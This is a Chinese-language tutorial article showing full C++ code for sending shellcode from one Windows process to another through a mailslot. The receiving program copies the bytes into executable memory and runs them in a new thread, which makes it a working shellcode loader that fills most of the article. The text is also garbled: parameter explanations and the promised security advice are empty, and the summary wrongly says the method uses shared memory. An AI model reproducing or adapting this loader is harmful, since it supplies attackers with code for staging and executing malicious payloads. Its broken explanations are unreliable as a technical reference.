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C++使用邮件槽实现ShellCode跨进程传输

作者:微软技术分享

在计算机安全领域,进程间通信(IPC)一直是一个备受关注的话题,在本文中,我们将探讨如何使用Windows邮件槽(Mailslot)实现ShellCode的跨进程传输,需要的可以参考下

在计算机安全领域,进程间通信(IPC)一直是一个备受关注的话题。在本文中,我们将探讨如何使用Windows邮件槽(Mailslot)实现ShellCode的跨进程传输。邮件槽提供了一种简单而有效的单向通信机制,使得任何进程都能够成为邮件槽服务器,并通过UDP通信向其他进程发送数据。

邮件槽是Windows操作系统提供的一种用于本地进程间通信的机制。它允许一个进程创建一个命名的槽,并允许其他进程通过该槽向创建它的进程发送消息。在本文中,我们将使用邮件槽实现进程间的ShellCode传输。如果需要双向通信或更复杂的通信需求,需要考虑其他IPC机制,例如命名管道、套接字等。

服务端部分

服务端端部分的实现非常简单,通过使用MAIL_SLOT_NAME 可以定义邮件槽的名称,该名称用于标识服务端和客户端之间的邮件槽。这是一个字符串常量,按照 Windows 命名约定的格式指定了邮件槽的路径。

让我来解释这个定义的具体含义:

所以,整个路径 \\\\.\\mailslot\\Name 指代的是一个本地计算机上的邮件槽,其名称为 Name。这个路径会在创建和打开邮件槽时使用,确保两个进程使用相同的路径来通信。

在服务端创建邮件槽时,通过 CreateFile 函数中的 MAIL_SLOT_NAME 参数指定邮件槽的名称,确保服务端和客户端使用相同的名称来建立通信连接。

CreateFile

用于创建或打开文件、文件夹、邮件槽、管道等对象的句柄。在你提供的代码中,CreateFile 主要用于打开邮件槽,以便在服务端写入数据。

以下是 CreateFile 函数的一般形式:

HANDLE CreateFile(
  LPCTSTR               lpFileName,
  DWORD                 dwDesiredAccess,
  DWORD                 dwShareMode,
  LPSECURITY_ATTRIBUTES lpSecurityAttributes,
  DWORD                 dwCreationDisposition,
  DWORD                 dwFlagsAndAttributes,
  HANDLE                hTemplateFile
);

参数说明:

如上所示,我们只需要遵循邮件槽的创建流程并使用CreateFile创建通信,当需要传输邮件的时候可以直接调用WriteFile发送邮件,这是一个很好的功能,你可以发送邮件也可以发送各种你喜欢的乱七八糟的东西。

#include <windows.h>
#include <iostream>

using namespace std;

#define MAIL_SLOT_NAME "\\\\.\\mailslot\\Name" 

char ShellCode[] = "此处是ShellCode";

int main(int argc, char* argv[])
{
    HANDLE hWriteMailSlot = NULL;
    while (TRUE)
    {
        hWriteMailSlot = CreateFile(MAIL_SLOT_NAME, GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
        if (hWriteMailSlot == INVALID_HANDLE_VALUE)
            continue;
        else
            break;
    }
    DWORD dwReturn = 0;

    // 发送邮件槽
    WriteFile(hWriteMailSlot, ShellCode, strlen(ShellCode), &dwReturn, NULL);
    CloseHandle(hWriteMailSlot);
    return 0;
}

客户端部分

为了实现通信,客户端部分也需要使用邮件槽,在MAIL_SLOT_NAME中指定相同的邮件名,通过CreateMailslot 函数,创建邮件槽(Mailslot),这是一种用于本地进程间通信的机制。邮件槽是一种命名的管道,用于在同一台计算机上的不同进程之间传递数据。

以下是 CreateMailslot 函数的一般形式:

HANDLE CreateMailslot(
  LPCTSTR               lpName,
  DWORD                 nMaxMessageSize,
  DWORD                 lReadTimeout,
  LPSECURITY_ATTRIBUTES lpSecurityAttributes
);

参数说明:

在代码中,CreateMailslot 用于创建邮件槽:

hReadMailSlot = CreateMailslot(MAIL_SLOT_NAME, 0, 0, NULL);

这行代码的作用是创建一个邮件槽,使用了预定义的邮件槽名称 MAIL_SLOT_NAME 作为参数,nMaxMessageSize 和 lReadTimeout 都设置为零,表示使用默认值。如果创建成功,hReadMailSlot 将获得一个有效的邮件槽句柄,可以用于后续的数据读取操作。

创建好链接之后接下来就可以通过GetMailslotInfo函数获取邮件了,当然了这个要死循环等待邮件,GetMailslotInfo 用于检查邮件槽的状态信息。它提供了有关邮件槽当前状态的信息,例如有多少消息在邮件槽中、每个消息的大小等。

以下是 GetMailslotInfo 函数的一般形式:

BOOL GetMailslotInfo(
  HANDLE       hMailslot,
  LPDWORD      lpMaxMessageSize,
  LPDWORD      lpNextSize,
  LPDWORD      lpMessageCount,
  LPDWORD      lpReadTimeout
);

参数说明:

在你的代码中,GetMailslotInfo 用于获取邮件槽的信息:

bOk = GetMailslotInfo(hReadMailSlot, NULL, &cbMessage, &cMessage, NULL);

这行代码的作用是获取邮件槽 hReadMailSlot 的信息,其中 cbMessage 接收消息的大小,cMessage 接收消息的数量。这样的信息可以在接收方确定是否有待处理的消息,以及处理这些消息所需的空间。

一般来说当收到了新邮件之后可以直接使用ReadFile函数读出这段邮件,读出来的邮件就可以直接反弹了,如下代码所示;

#include <windows.h>
#include <iostream>

using namespace std;

#define MAIL_SLOT_NAME "\\\\.\\mailslot\\Name" 
HANDLE hReadMailSlot = INVALID_HANDLE_VALUE;

DWORD WINAPI ReadMail()
{
    hReadMailSlot = CreateMailslot(MAIL_SLOT_NAME, 0, 0, NULL);
    if (hReadMailSlot == INVALID_HANDLE_VALUE)
    {
        return -1;
    }

    // 查看油槽的信息
    DWORD cbMessage = 0, dwReturn = 0, cMessage = 0;
    BOOL bOk = FALSE;

    char ShellCode[4096] = { 0 };

    while (TRUE)
    {
        bOk = GetMailslotInfo(hReadMailSlot, NULL, &cbMessage, &cMessage, NULL);
        if (bOk == FALSE)
            break;
        if (cMessage == 0)
            continue;
        else
        {
            if (ReadFile(hReadMailSlot, ShellCode, cbMessage, &dwReturn, 0) == TRUE)
            {
                HANDLE hThread = NULL;
                cout << ShellCode << endl;
                
                // 注入ShellCode并执行
                void* ptr = VirtualAlloc(0, sizeof(ShellCode), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
                CopyMemory(ptr, ShellCode, sizeof(ShellCode));

                hThread = CreateThread(0, 0, (LPTHREAD_START_ROUTINE)ptr, 0, 0, 0);
                WaitForSingleObject(hThread, INFINITE);
            }
        }
    }
}

int main(int argc, char* argv[])
{
    HANDLE hReadThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)ReadMail, NULL, 0, NULL);
    Sleep(INFINITE);
    if (hReadMailSlot != INVALID_HANDLE_VALUE)
    {
        CloseHandle(hReadMailSlot);
    }
    return 0;
}

潜在风险和安全建议

虽然这种方法在本地攻击场景中有一定的巧妙性,但也存在潜在的风险。以下是一些建议:

总结

本文介绍了通过共享内存传递Shellcode的方法,通过这种巧妙的本地攻击方式,两个进程可以在不直接通信的情况下相互传递Shellcode。然而,使用这种技术需要非常谨慎,以免被滥用用于不当用途。在实际应用中,必须谨慎权衡安全性和便利性,同时配合其他防御措施,确保系统的整体安全性。

到此这篇关于C++使用邮件槽实现ShellCode跨进程传输的文章就介绍到这了,更多相关C++ ShellCode跨进程传输内容请搜索脚本之家以前的文章或继续浏览下面的相关文章希望大家以后多多支持脚本之家!

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